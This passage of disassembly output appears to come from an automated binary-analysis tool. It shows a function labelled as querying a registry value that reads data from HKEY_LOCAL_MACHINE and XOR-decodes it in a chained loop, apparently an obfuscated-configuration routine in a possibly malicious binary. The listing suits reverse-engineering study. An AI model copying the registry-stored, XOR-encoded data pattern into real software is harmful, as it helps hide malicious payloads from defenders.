mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret
Function at 0x2d9e3cde90
Capabilities:
Query or enumerate registry value

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x2c0
mov rax, qword [0x2d9e415008]
xor rax, rsp
mov qword [rsp + 0x2b0], rax
xor edx, edx
mov r8d, 0x190
mov rbx, rcx
call fcn.2d9e3e3840
lea rdx, [rsp + 0x50]
mov dword [rsp + 0x30], 0x190
lea rcx, [0x2d9e409778]
call fcn.2d9e3c9800
lea r8, [rsp + 0x50]
lea rdx, [0x2d9e407f00]
lea rcx, [rsp + 0xa0]
call qword [sym.imp.USER32.dll_wsprintfW]
mov r8d, dword [rsp + 0x30]
xor edx, edx
mov rcx, rbx
xor edi, edi
call fcn.2d9e3e3840
lea rax, [rsp + 0x38]
mov qword [rsp + 0x38], rdi
mov r9d, 0x20119
mov qword [rsp + 0x20], rax
xor r8d, r8d
lea rdx, [rsp + 0xa0]
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x2d9e3cdfc6
mov rcx, qword [rsp + 0x38]
lea rax, [rsp + 0x30]
mov qword [rsp + 0x28], rax
lea r9, [rsp + 0x40]
xor r8d, r8d
mov qword [rsp + 0x20], rbx
lea rdx, [0x2d9e407fc8]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov rcx, qword [rsp + 0x38]
mov esi, 1
test eax, eax
cmove edi, esi
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
test edi, edi
je 0x2d9e3cdfc6
mov ecx, dword [rsp + 0x30]
cmp ecx, esi
jbe 0x2d9e3cdfc2
movzx eax, byte [rbx]
dec ecx
xor byte [rcx + rbx], al
add ecx, 0xffffffff
je 0x2d9e3cdfb5
mov r8d, ecx
lea r9d, [rcx + 1]
add r8, rbx
nop
movzx edx, byte [r9 + rbx]
lea r9d, [r9 - 1]
xor byte [r8], dl
lea r8, [r8 - 1]
add ecx, 0xffffffff
jne 0x2d9e3cdfa0
mov r8d, ecx
inc ecx
movzx ecx, byte [rcx + rbx]
xor byte [r8 + rbx], cl
mov eax, esi
jmp 0x2d9e3cdfc8
xor eax, eax
mov rcx, qword [rsp + 0x2b0]
xor rcx, rsp
call fcn.2d9e3da7d0
lea r11, [rsp + 0x2c0]
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret